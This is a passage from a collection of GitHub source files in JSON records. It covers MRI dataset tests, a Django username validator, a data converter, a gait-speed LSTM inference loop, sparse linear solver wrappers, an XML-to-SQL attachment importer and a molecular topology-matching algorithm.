"data.END_OF_VERSE_TOKEN", "line_number": 12, "usage_type": "attribute"}, {"api_name": "data.batch", "line_number": 13, "usage_type": "call"}, {"api_name": "data.PAD_TOKEN", "line_number": 29, "usage_type": "attribute"}, {"api_name": "data.START_OF_VERSE_TOKEN", "line_number": 30, "usage_type": "attribute"}, {"api_name": "data.END_OF_VERSE_TOKEN", "line_number": 31, "usage_type": "attribute"}, {"api_name": "data.batch", "line_number": 32, "usage_type": "call"}, {"api_name": "data.pad_batch", "line_number": 37, "usage_type": "call"}, {"api_name": "data.PAD_TOKEN", "line_number": 40, "usage_type": "attribute"}, {"api_name": "data.join_texts", "line_number": 47, "usage_type": "call"}, {"api_name": "data.parse_pbc_bible_lines", "line_number": 66, "usage_type": "call"}, {"api_name": "data.PbcBible.to_dictionaries", "line_number": 88, "usage_type": "call"}, {"api_name": "data.PbcBible", "line_number": 88, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 93, "usage_type": "call"}]}
{"seq_id": "25019118927", "text": "import numpy as np\nimport pytest\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom ml_recon.utils.collate_function import collate_fn\nfrom ml_recon.dataset.fastMRI_dataset import FastMRIDataset\nfrom ml_recon.dataset.self_supervised_decorator import UndersampleDecorator\n\n\nACS_LINES = 10\n@pytest.fixture\ndef dataset(get_data_dir, scope='session') -> UndersampleDecorator:\n    torch.manual_seed(0)\n    dataset = FastMRIDataset(get_data_dir, build_new_header=True)\n    undersample_dataset = UndersampleDecorator(dataset, acs_lines=ACS_LINES)\n    return undersample_dataset\n\n@pytest.fixture\ndef get_data_dir() -> str:\n    return '/home/kadotab/projects/def-mchiew/kadotab/Datasets/t1_fastMRI/16_chans/multicoil_train/'\n\ndef test_slice_load(dataset):\n    data = next(iter(dataset))\n    assert len(data) == 4\n\ndef test_undersampled_slice(dataset):\n    data = next(iter(dataset))\n\n    phase_encode_size = data[0].shape[-1]\n    center = np.floor(phase_encode_size/2).astype(int)\n    acs = data[0][..., center - ACS_LINES//2:center + ACS_LINES//2]\n    assert (acs != 0).all()\n    assert acs.shape[-1] == 10 \n\n# Test if we are able to batch slices. \ndef test_undersampled_slice_batching(dataset):\n    dataloader = DataLoader(dataset, collate_fn=collate_fn, batch_size=5)\n    data = next(iter(dataloader))\n    assert data[0].shape[0] == 5\n    assert data[0].ndim == 4\n\n\ndef test_non_deterministic(dataset):\n\n    data1 = dataset[0]\n    data2 = dataset[0]\n\n    assert ((data1[0] != 0) != (data2[0] != 0)).any()\n\ndef test_non_deterministic_between_slices(dataset):\n\n    data1 = dataset[0]\n    data2 = dataset[1]\n\n    assert ((data1[1] != 0) != (data2[1] != 0)).any()\n\ndef test_undersampling(dataset):\n\n    doub_under, under, k_space, _ = dataset[0]\n\n    assert (doub_under == 0).sum() > (under == 0).sum()\n    assert (under == 0).sum() > (k_space == 0).sum()\n    \n\n", "repo_name": "brendo-k/mri_machine_learning_reconstruction", "sub_path": "test/Datasets/test_undersampling_decorator.py", "file_name": "test_undersampling_decorator.py", "file_ext": "py", "file_size_in_byte": 1860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.manual_seed", "line_number": 15, "usage_type": "call"}, {"api_name": "ml_recon.dataset.fastMRI_dataset.FastMRIDataset", "line_number": 16, "usage_type": "call"}, {"api_name": "ml_recon.dataset.self_supervised_decorator.UndersampleDecorator", "line_number": 17, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 13, "usage_type": "attribute"}, {"api_name": "ml_recon.dataset.self_supervised_decorator.UndersampleDecorator", "line_number": 14, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 39, "usage_type": "call"}, {"api_name": "ml_recon.utils.collate_function.collate_fn", "line_number": 39, "usage_type": "name"}]}
{"seq_id": "71438259430", "text": "from api_yamdb.settings import REGEX_USERNAME\nfrom django.core.exceptions import ValidationError\n\n\nclass ValidateUsername:\n    \"\"\"\n    Валидатор для username.\n    \"\"\"\n    def validate_username(self, username):\n        if not REGEX_USERNAME.fullmatch(username):\n            raise ValidationError(\n                f'Некорректные символы в username: {REGEX_USERNAME}'\n            )\n        if username == 'me':\n            raise ValidationError('Ник \"me\" нельзя регистрировать!')\n        return username\n", "repo_name": "Khryashoff/api_yamdb", "sub_path": "api_yamdb/users/validators.py", "file_name": "validators.py", "file_ext": "py", "file_size_in_byte": 556, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "api_yamdb.settings.REGEX_USERNAME.fullmatch", "line_number": 10, "usage_type": "call"}, {"api_name": "api_yamdb.settings.REGEX_USERNAME", "line_number": 10, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 11, "usage_type": "call"}, {"api_name": "api_yamdb.settings.REGEX_USERNAME", "line_number": 12, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "27562605295", "text": "import json\n\nfrom tqdm import tqdm\n\nfrom anlp_project.datasets.europarl import EuroParlRaw\n\n\ndef main():\n    \"\"\"\n    Converts dataset to jsonlines format\n\n    needed for baseline++ training\n    \"\"\"\n    dataset = EuroParlRaw()\n    with open(\"dataset.jsonl\", \"w\") as f:\n        for de, en in tqdm(dataset):\n            f.write(json.dumps({\"translation\": {\"en\": en, \"de\": de}}) + \"\\n\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "yoogottamk/anlp-project", "sub_path": "anlp_project/datasets/convert-to-jsonl.py", "file_name": "convert-to-jsonl.py", "file_ext": "py", "file_size_in_byte": 423, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "anlp_project.datasets.europarl.EuroParlRaw", "line_number": 14, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "19567013386", "text": "import nidaqmx\r\nimport torch\r\nimport numpy as np\r\nimport time\r\nfrom nidaqmx.constants import AcquisitionType, TerminalConfiguration\r\nfrom collections import deque\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\nfrom LSTMmodel import GaitLSTM\r\nfrom utils import buffer_data\r\n\r\n# The number of IMU (It can only 1, 2, 4)\r\nnum_IMU = 1\r\n\r\nGyro = True  \r\nAcc = False\r\n\r\n# Define ML model parameter\r\ninput_size = num_IMU*(Gyro+Acc)*3\r\nhidden_size = 128\r\nnum_layers = 3\r\noutput_size = 1\r\ndropout_prob = 0.4\r\n\r\n# Load the trained LSTM model\r\nmodel = GaitLSTM(input_size, hidden_size, num_layers, output_size, dropout_prob)\r\nmodel.load_state_dict(torch.load('LSTMmodel_'+str(num_IMU)+'IMU_gyro.pth'))\r\nmodel.eval()\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\nmodel.to(device)\r\n\r\n# Buffer to store the incoming data\r\nwindow_size = 200\r\nbuffer = deque(maxlen=window_size)\r\n\r\n\r\n# Replace device_name is the name of your device, and channel_name is the name of your input channel.\r\ndevice_name = \"Dev1\"\r\nchannel_names = [\"ai7\", \"ai8\", \"ai9\"]\r\n\r\nylabel = ['Gyro X', 'Gyro Y', 'Gyro Z']\r\n\r\ngyro_range = 2000 # Choose the range you are using: 250 dps, 500 dps, 1000 dps, 2000 dps\r\nanalog_output_range = 5\r\ngyro_sensitivity = gyro_range / (2 * analog_output_range)\r\n\r\n# Create a task\r\nwith nidaqmx.Task() as task:\r\n    # Configure the analog input channel\r\n    for channel_name in channel_names:\r\n        task.ai_channels.add_ai_voltage_chan(f'{device_name}/{channel_name}',\r\n                                             terminal_config=TerminalConfiguration.RSE)\r\n\r\n    # Set the sample rate and number of samples\r\n    sample_rate = 1000  # 1000 samples per second\r\n    num_samples = 100  # Acquire 10 samples\r\n    task.timing.cfg_samp_clk_timing(sample_rate, samps_per_chan=num_samples,\r\n                                     sample_mode=AcquisitionType.CONTINUOUS)\r\n    \r\n    while True:\r\n        try:\r\n            start = time.time()\r\n            \r\n            data = np.array(task.read(number_of_samples_per_channel=num_samples, timeout=1)) * gyro_sensitivity\r\n            \r\n            # Preprocess the incoming data\r\n            scaler = StandardScaler()\r\n            preprocessed_data = scaler.fit_transform(data)\r\n            \r\n            # Buffer the preprocessed data and create segments when the buffer is full\r\n            segment = buffer_data(buffer, preprocessed_data, window_size)\r\n\r\n            \r\n            if segment is not None:\r\n                # Reshape the segment to match the input shape of the LSTM model\r\n                segment = segment.reshape(1, window_size, -1)\r\n                \r\n                # Convert the segment to a PyTorch tensor\r\n                input_data = torch.tensor(segment, dtype=torch.float32).to(device)\r\n                # Estimate gait speed using the LSTM model\r\n                with torch.no_grad():\r\n                    estimated_speed = model(input_data).item()\r\n                \r\n                print(f\"Estimated gait speed: {estimated_speed}\")\r\n            \r\n        except KeyboardInterrupt:\r\n            print(\"Stopping data acquisition...\")\r\n            task.stop()\r\n            break    ", "repo_name": "hyungseokR/estimation_gait_speed_practice", "sub_path": "gait_speed_est_practice/speed_estimation_real_time.py", "file_name": "speed_estimation_real_time.py", "file_ext": "py", "file_size_in_byte": 3246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "LSTMmodel.GaitLSTM", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 30, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 35, "usage_type": "call"}, {"api_name": "nidaqmx.Task", "line_number": 49, "usage_type": "call"}, {"api_name": "nidaqmx.constants.TerminalConfiguration.RSE", "line_number": 53, "usage_type": "attribute"}, {"api_name": "nidaqmx.constants.TerminalConfiguration", "line_number": 53, "usage_type": "name"}, {"api_name": "nidaqmx.constants.AcquisitionType.CONTINUOUS", "line_number": 59, "usage_type": "attribute"}, {"api_name": "nidaqmx.constants.AcquisitionType", "line_number": 59, "usage_type": "name"}, {"api_name": "time.time", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.buffer_data", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "26570805170", "text": "import numpy as np\nimport scipy.sparse as sps\ntry:\n    from petsc4py import PETSc\nexcept ImportError:\n    print(\"No PETSc. Bicstab solver wont work\")\n\ntry:\n    import pyamg\nexcept ImportError:\n    print(\"No pyamg. amg solver wont work\")\n\ntry:\n    import pypardiso\nexcept ImportError:\n    print(\"No pypardis. pardiso solver won't work\")\n\n\ndef amg(A, b, tol=1e-10):\n    \"\"\"Solve with AMG.\"\"\"\n    B = None  # no near-null spaces guesses for SA\n\n    # use AMG based on Smoothed Aggregation (SA) and display info\n    mls = pyamg.smoothed_aggregation_solver(A, B=B)\n    print(mls)\n    # # Solve Ax=b with no acceleration ('standalone' solver)\n    # standalone_residuals = []\n    # x = mls.solve(b, tol=1e-10, accel=None, residuals=standalone_residuals)\n\n    # Solve Ax=b with Conjugate Gradient (AMG as a preconditioner to CG)\n    residuals = []\n    x = mls.solve(b, tol=tol, accel=\"cg\", residuals=residuals)\n    if residuals[-1] > 100 * tol:\n        Warning(\"Iterative solver failed. Falling back to direct solver\")\n        return umfpack(A, b)\n    print(\"Solved linear system with AMG. Residual is: {}\".format(residuals[-1]))\n    return x\n\ndef pardiso(A, b):\n    \"Solve with pardiso\"\n    return pypardiso.spsolve(A, b)\n\ndef gmres(A, b, x0, tol=1e-10):\n    \"Solve with gmres\"\n    M_iLU = sps.linalg.spilu(A, fill_factor=20, drop_tol=1e-5)\n    M = sps.linalg.LinearOperator(A.shape, M_iLU.solve)\n\n    def callback(res):\n        print(\"Gmres residual: {}\".format(res))\n\n    x, info = sps.linalg.gmres(\n        A, b, x0=x0, M=M, tol=tol, maxiter=200, callback=callback\n    )\n    if info != 0:\n        Warning(\"Iterative solver failed. Falling back to direct solver\")\n        return umfpack(A, b)\n    return x\n\ndef bicstab(A, b, tol=1e-10, gb=None):\n    \"Solve with bicstab\"\n    if gb is None:\n        P = sps.identity(A.shape[0])\n    else:\n        nc = gb.num_cells()\n        p_idx = np.arange(0, nc, 1)\n        c_idx = np.arange(nc, 2 * nc, 1)\n        col = np.ravel(np.vstack((p_idx, c_idx)), order='F')\n        row = np.arange(0, 2 * nc)\n        data = np.ones(2 * nc, dtype=int)\n        P = sps.coo_matrix((data, (row, col)))\n        \n#    Ao = A.copy()\n    A = P * A * P.T\n    if A.format != \"csr\":\n        A = A.tocsr()\n\n    M = PETSc.Mat().createAIJ(size=A.shape,\n                          csr=(A.indptr, A.indices,\n                               A.data))\n    x, rhs = M.getVecs()\n    ksp = PETSc.KSP()\n    ksp.create(PETSc.COMM_WORLD)\n    ksp.setType('bcgs')\n    ksp.getPC().setType('ilu')\n    rhs.setArray(P * b)\n    ksp.setOperators(M)\n    ksp.setTolerances(1e-4, tol)\n    ksp.solve(rhs, x)\n\n#    print(\"linear it: \", ksp.getIterationNumber())\n#    print(\"converged reason: \", ksp.getConvergedReason())\n    return P.T * x.getArray()\n\n\ndef umfpack(A, b):\n    \"Solve with umfpack\"\n    if A.nnz > 500000:\n        A.indices = A.indices.astype(np.int64)\n        A.indptr = A.indptr.astype(np.int64)\n    return sps.linalg.spsolve(A, b, use_umfpack=True)\n\ndef superlu(A, b):\n    \"Solve with superlu\"\n    return sps.linalg.spsolve(A, b)\n", "repo_name": "rbe051/ViscFrac", "sub_path": "utils/linear_solvers.py", "file_name": "linear_solvers.py", "file_ext": "py", "file_size_in_byte": 3031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyamg.smoothed_aggregation_solver", "line_number": 24, "usage_type": "call"}, {"api_name": "pypardiso.spsolve", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg.spilu", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg", "line_number": 45, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 45, "usage_type": "name"}, {"api_name": "scipy.sparse.linalg.LinearOperator", "line_number": 46, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg", "line_number": 46, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 46, "usage_type": "name"}, {"api_name": "scipy.sparse.linalg.gmres", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg", "line_number": 51, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 51, "usage_type": "name"}, {"api_name": "scipy.sparse.identity", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 62, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 70, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 70, "usage_type": "name"}, {"api_name": "petsc4py.PETSc.Mat", "line_number": 77, "usage_type": "call"}, {"api_name": "petsc4py.PETSc", "line_number": 77, "usage_type": "name"}, {"api_name": "petsc4py.PETSc.KSP", "line_number": 81, "usage_type": "call"}, {"api_name": "petsc4py.PETSc", "line_number": 81, "usage_type": "name"}, {"api_name": "petsc4py.PETSc.COMM_WORLD", "line_number": 82, "usage_type": "attribute"}, {"api_name": "petsc4py.PETSc", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.int64", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 99, "usage_type": "attribute"}, {"api_name": "scipy.sparse.linalg.spsolve", "line_number": 100, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg", "line_number": 100, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 100, "usage_type": "name"}, {"api_name": "scipy.sparse.linalg.spsolve", "line_number": 104, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg", "line_number": 104, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 104, "usage_type": "name"}]}
{"seq_id": "23233521045", "text": "# coding=utf-8\nimport codecs\nimport os\nimport pymssql\nimport sys\nimport uuid\nfrom com.database.ConnectDataBase import ConnectionDatabase\n\n# 设置默认编码\nfrom xml.etree import ElementTree\n\nimport xlrd\n\n'''\n    数据库连接\n'''\ndef getConnect_new():\n    __conn = ConnectionDatabase(\"localhost\", \"sa\", \"11111\", \"EpointOATest3\")\n    return __conn\n\ndef getConnect_old():\n    __conn = ConnectionDatabase(\"localhost\", \"sa\", \"11111\", \"oa_old\")\n    return __conn\n\n##########################################################\n#############遍历目录，读取xml文件，导入附件信息\n##########################################################\n\n# 遍历指定目录\ndef eachfile(filepath, sql, outputfile, state, count, conn):\n    pathdir = os.listdir(filepath)\n    for dir in pathdir:\n        child = os.path.join('%s\\%s' % (filepath, dir))\n        if os.path.isfile(child):\n            if child.find(\"basicInfo\") != -1:\n                readfile(child, sql, outputfile, count, state, conn)\n            continue\n        eachfile(child, sql, outputfile, state, count, conn)\n\n\n# 遍历结果\ndef readfile(filenames, sql, filepath, count, state, conn):\n    with codecs.open(filenames, 'r', encoding='gbk') as fp:\n        text = fp.read().replace('', '')\n\n    element = ElementTree.fromstring(text.encode('utf-8'))\n\n    for doc in element:\n        # 定义参数\n        clientguid = \"\"\n        for key in doc.attrib:\n            clientguid = doc.attrib[key]\n            filepath += (clientguid + \"/\")\n        for items in doc:\n            # 定义参数\n            attachguid = uuid.uuid1()\n            attachname = \"\"\n            contenttype = \"\"\n            # 附件\n            storagetype = \"NasShareDirectory\"\n            # attachtag = \"leaderApprove_feedback\"\n            attachtag = \"wd25_attach\"\n\n            if parse_xml_node(items):\n                attachname = parse_xml_node(items)\n\n            if os.path.splitext(attachname)[-1]:\n                contenttype = os.path.splitext(attachname)[-1]\n            # 插入附件表\n            params = (attachguid, attachname, contenttype, clientguid, attachtag, filepath, storagetype, clientguid)\n            # 过滤参数为空的数据\n            if params is None:\n                continue\n            # 执行sql语句\n            try:\n                effect = conn.mssql_exe_sql(sql, params)\n                if effect:\n                    count += 1\n                    print(\"导入第\" + str(count) + \"条成功*********\" + attachname)\n                else:\n                    print(\"sql语句执行失败\")\n\n            except Exception as e:\n                print(e)\n                print(sql%params)\n                return\n\n\n# 解析节点\ndef parse_xml_node(node):\n    if len(node.getchildren()) == 0:\n        return node.text if node.text is not None else ''\n    else:\n        node_dict = {}\n        for child in node.getchildren():\n            if child.tag in node_dict.keys():\n                if not isinstance(node_dict[child.tag], list):\n                    node_dict[child.tag] = [node_dict[child.tag]]\n                node_dict[child.tag].append(parse_xml_node(child))\n            else:\n                node_dict[child.tag] = parse_xml_node(child)\n        return node_dict\n\ndef handleFile():\n    conn = getConnect_old()\n    count = 0\n    # 通知\n    type=\"leaderApprove\"\n    # filenames = \"F:\\松江OA\\OA数据解析\\老OA数据\\附件\\领导批示反馈\"\n    filenames = \"F:\\松江OA\\OA数据解析\\收文数据\\收文管理\"\n    oupputfile = \"D:\\OA9Attach\\BigFileUpLoadStorage/wd25/\"\n\n    # 发文\n    # type=\"fawen\"\n    # filenames = \"E:\\\\work\\\\project\\\\2018\\\\importdata\\\\fawen\\\\BigFileUpLoadStorage\"\n    # oupputfile=\"D:\\OA9Attach\\BigFileUpLoadStorage/fawen/\"\n\n    sql = '''\n        insert into Frame_AttachInfo_wd25(attachguid,attachfilename,contenttype,CliengGuid,CliengTag,filepath,storagetype,attachstorageguid) \n            values(%s,%s,%s,%s,%s,%s,%s,%s)\n    '''\n    eachfile(filenames, sql, oupputfile, type, count, conn)\n\n    # 关闭连接\n    conn.commitData()\n    conn.closeConn()\n\n\nif __name__ == '__main__':\n    handleFile()", "repo_name": "YichangYin/python_demo", "sub_path": "com/analysisi/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 4195, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "com.database.ConnectDataBase.ConnectionDatabase", "line_number": 18, "usage_type": "call"}, {"api_name": "com.database.ConnectDataBase.ConnectionDatabase", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "codecs.open", "line_number": 43, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 46, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 46, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}]}
{"seq_id": "40582183957", "text": "import sys\nsys.path.append('/Users/me/_Nutbox/UniversalMolecularSystem')\n\n# The main function of this module, TopologyMatching, seeks to solve the problem of matching atoms between two\n# identical molecules with different atom ordering.\nfrom UniversalMolecularSystem import *\nfrom collections import deque\n\n\n\nclass SolvingStatus:\n    nAtoms: []   # number of atoms in each molecule, an array of length 2\n    visited_order: [[]]   # 2 lists recording visited atoms and their order in each mole\n                    # for example, visited = [ [0,3],[1,2] ] means that atoms 0,3 and 1,2 are visited in each molecule\n                    # Here the word 'visited' also means that the atoms in two molecules are matched with each other\n                    # In the above example, it means 0-3, 1-2 matching in these two molecules.\n    to_visit: [deque] # 2 deques recording the to-be visited atoms in both atoms. Used for the BFS in each mole\n    visited_or_in_queue: [[]]  # 2*NAtoms bool matrix indicating whether each atom is found ( either visited or in queue)\n\n    def __init__(self,nAtoms1, nAtoms2=None):\n        self.nAtoms = [nAtoms1, nAtoms2] if nAtoms2!=None else [nAtoms1,nAtoms1]\n        self.visited_order = [[],[]]\n        self.visited_or_in_queue = [None,None]\n        for i in range(2):\n            self.visited_or_in_queue[i] = [False for _ in range(self.nAtoms[i])]\n        self.to_visit = [deque(),deque()]\n\n    def Copy(self):\n        ns = SolvingStatus(self.nAtoms[0],self.nAtoms[1])\n        import copy\n        ns.visited_order = copy.deepcopy(self.visited_order)\n        ns.to_visit = [self.to_visit[_].copy() for _ in range(2)]\n        ns.visited_or_in_queue = copy.deepcopy(self.visited_or_in_queue)\n        return ns\n\n    def Show(self):\n        import sys\n        sys.stdout.write(\"Matching Order: \")\n        for i in range(len(self.visited_order[0])):\n            sys.stdout.write(\"{}-{} \".format(self.visited_order[0][i],self.visited_order[1][i]))\n        print(\"\")\n        sys.stdout.write(\"Deque of each molecule: (A) \")\n        for i in range(len(self.to_visit[0])):\n            sys.stdout.write(\"{} \".format(self.to_visit[0][i]))\n        sys.stdout.write(\"(B) \")\n        for i in range(len(self.to_visit[1])):\n            sys.stdout.write(\"{} \".format(self.to_visit[1][i]))\n        print(\"\")\n\nglobal_iter_counter = 0\n\ndef __Recursive__(mols,bondedMaps,status,level=0,__exit_on_first_match__ = True, __debugging__ = False):\n\n    total_results = []\n\n    if __debugging__:\n        print(\"Level = {}\".format(level))\n        status.Show()\n        global global_iter_counter\n        global_iter_counter += 1\n        print(\"Global Iter = {}\".format(global_iter_counter))\n\n\n    # Do a DFS on both molecules. In cases there are multiple choices, perform and branch-and-cut algorithm\n    while len(status.to_visit[0]) > 0:  # Until the queue is empty\n        candidates = [[], []]\n        head = [None, None]\n        for iMol in range(2):\n            # Get the first node from the queue. popleft() is BFS by using a queue, while pop() is DFS by using a stack,\n            # Testing shows DFS is faster\n#            head[iMol] = status.to_visit[iMol].popleft()\n            head[iMol] = status.to_visit[iMol].pop()\n\n            status.visited_order[iMol].append(head[iMol])  # visit the node\n            for next_node in bondedMaps[iMol][head[iMol]]:  # among its neighbors, add those un-visited and un-queued node to the queue\n                if status.visited_or_in_queue[iMol][next_node] == False:\n                    candidates[iMol].append(next_node)\n                    status.visited_or_in_queue[iMol][next_node] = True  # Just flag those atoms, don't really add them into the queue,yet.\n\n        if __debugging__:\n            for iMol in range(2):\n                print(\"Head For Mol{}: {}, Candidates = {}\".format(iMol,head[iMol],candidates[iMol]))\n\n        # Based on the visited node and the number of candidates, we should either branch, or cut:\n        if mols[0].atoms[head[0]].element != mols[1].atoms[head[1]].element:\n            # Cut because element type mismatch\n            return []\n        elif status.nAtoms[0] == status.nAtoms[1] and len(candidates[0]) != len(candidates[1]):\n            # Cut because bonded atoms count mismatch in equivalent molecules\n            return []\n        elif status.nAtoms[0] < status.nAtoms[1] and len(candidates[0]) > len(candidates[1]):\n            # Cut because bonded atoms count mismatch in fragmental match\n            return []\n        elif len(candidates[0]) == 0:\n            # If there is no bonded atoms in mol1, the visit is finished\n            pass\n        # elif len(candidates[0]) == 1:\n        #     for iMol in region(2):\n        #         status.to_visit[iMol].append(candidates[iMol][0])\n        else:\n            # Branch!  Do a full permutation of mol[1]'s candidates\n            # Keep in mind that since A may be a fragment of B, the candidates of A and B may be of different length\n            import itertools\n            candidates_permutated = list(itertools.permutations(candidates[1]))\n            # For each possible permutation, there is a branch:\n            candidates_of_mol0 = candidates[0]\n            for candidates_of_mol1 in candidates_permutated:\n                newStatus = status.Copy()\n                pre_test_flag = True\n                for iPerm in range(min(len(candidates_of_mol0),len(candidates_of_mol1))):\n\n                    a0 = candidates_of_mol0[iPerm]\n                    a1 = candidates_of_mol1[iPerm]\n\n                    # Some simple tests to exclude impossible matches\n                    if mols[0].atoms[a0].element != mols[1].atoms[a1].element:\n                        pre_test_flag = False\n                        break\n\n                    # if two mols have identical # of atoms, we require the # of bonds to be equal\n                    if status.nAtoms[0] == status.nAtoms[1] and len(bondedMaps[0][a0]) != len(bondedMaps[1][a1]):\n                        pre_test_flag = False\n                        break\n                    # if mol1 is a possibly a fragment of mol2, we require differently\n                    if status.nAtoms[0] < status.nAtoms[1] and len(bondedMaps[0][a0]) > len(bondedMaps[1][a1]):\n                        pre_test_flag = False\n                        break\n\n\n                    newStatus.to_visit[0].append(a0)\n                    newStatus.to_visit[1].append(a1)\n\n                if not pre_test_flag:\n                    continue\n\n                results = __Recursive__(mols,bondedMaps,newStatus,level=level+1,\\\n                                        __exit_on_first_match__ = __exit_on_first_match__,__debugging__ = __debugging__)\n                if len(results) > 0:\n                    total_results.extend(results)\n                    if __exit_on_first_match__:\n                        break\n\n            return total_results   # The return point for recursive levels other than the last\n\n    # After the while, all matched. End of recursion\n    return [status]\n\ndef TopologyMatching(mols:[Molecule], first_node):\n    # mols[0] and mols[1] are two molecules. They should be identical but the order of atoms may be totally different in these\n    # two molecules. This algorithm works by identifying bondings between atoms, so bonds must be properly set in both\n    # molecules\n    # Modified Feb 2021: mols[0] can be a fragment of mols[1]. This function works for this senario\n    # without any modification.\n    \n    # If successful, returns a list of lists, each of which represents a matching.\n    # For example, the return value of [  [1,3,2,0], [1,2,0,3] ] means that atoms 0,1,2,3 in the first molecule\n    # can be either be matched to atoms 1,3,2,0 or atoms 1,2,0,3 in the second molecule.\n    # All indexes for atoms in this module starts from 0! Atom's serials are not used here!\n    # There may be multiple ways (or no way) to match atoms in the first molecule to those in the second molecule,\n    # therefore the length of the list is not known beforehand. An empty list [] as the return value means that it is\n    # impossible to find a match.\n\n    # The 'first_node' parameter is a hint given by the caller, suggesting which two atoms in these two molecules are\n    # equivalent. The subsequent search shall begin on these two atoms. If not given, the program will try all combinations\n    # and the function may run NAtoms times longer.. To mandate the user to give an initial hint, this function will\n    # refuse to work without it! If really necessary, the caller can write a loop to try all intial matching point.\n\n    if len(mols[0].atoms) > len(mols[1].atoms):\n        error(\"In TopologyMatching(), either the two molecules are identical, or mols[0] is a fragment of mols[1]\")\n        return []\n\n    initial_status = SolvingStatus(len(mols[0].atoms),len(mols[1].atoms))\n\n    bondedMaps = [ mols[_].BondedMap() for _ in range(2) ]\n\n    if first_node == None:\n        error(\"The caller must give a 'first_node' parameter such as [0,3] to suggest that\\n\"\n        \"atom index 0 in mol1 is matched to atom index 3 in mol2\")\n        \n\n    for iMol in range(2):\n        initial_status.to_visit[iMol].append(first_node[iMol])          # Put first node in queue\n        initial_status.visited_or_in_queue[iMol][first_node[iMol]] = True     # Set the proper flag\n\n    results = __Recursive__(mols,bondedMaps,initial_status,level=0,__exit_on_first_match__ = True,__debugging__= False)\n\n    if len(results) == 0:\n        return None\n\n    result = results[0]\n    matching_map = [-1 for _ in range(result.nAtoms[0])]\n    for iAtom in range(result.nAtoms[0]):\n        matching_map[result.visited_order[0][iAtom]] = 